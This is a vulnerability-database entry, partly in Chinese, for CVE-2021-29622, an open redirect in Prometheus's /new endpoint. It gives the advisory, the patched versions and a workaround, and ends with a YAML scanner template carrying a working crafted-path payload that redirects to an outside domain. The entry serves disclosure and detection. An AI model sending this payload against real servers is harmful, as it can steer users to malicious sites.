CVE-2021-29622: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

Prometheus is an open-source monitoring system and time series database. In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint. If a user visits a prometheus server with a specially crafted address, they can be redirected to an arbitrary URL. The issue was patched in the 2.26.1 and 2.27.1 releases. In 2.28.0, the /new endpoint will be removed completely. The workaround is to disable access to /new via a reverse proxy in front of Prometheus.

PoC代码[已公开]

id: CVE-2021-29622

info:
  name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect
  author: fuzz7j
  severity: medium
  description: |-
    Prometheus is an open-source monitoring system and time series database. In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint. If a user visits a prometheus server with a specially crafted address, they can be redirected to an arbitrary URL. The issue was patched in the 2.26.1 and 2.27.1 releases. In 2.28.0, the /new endpoint will be removed completely. The workaround is to disable access to /new via a reverse proxy in front of Prometheus.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29622
    - https://github.com/prometheus/prometheus/releases/tag/v2.27.0
  tags: cve,cve2021,prometheus,redirect
  created: 2024/02/26

rules:
  r0:
    request:
      method: GET
      path: /new/newhttps:/baidu.com
    expression: response.status == 302 && response.headers["location"] == "https:/baidu.com?"
expression: r0()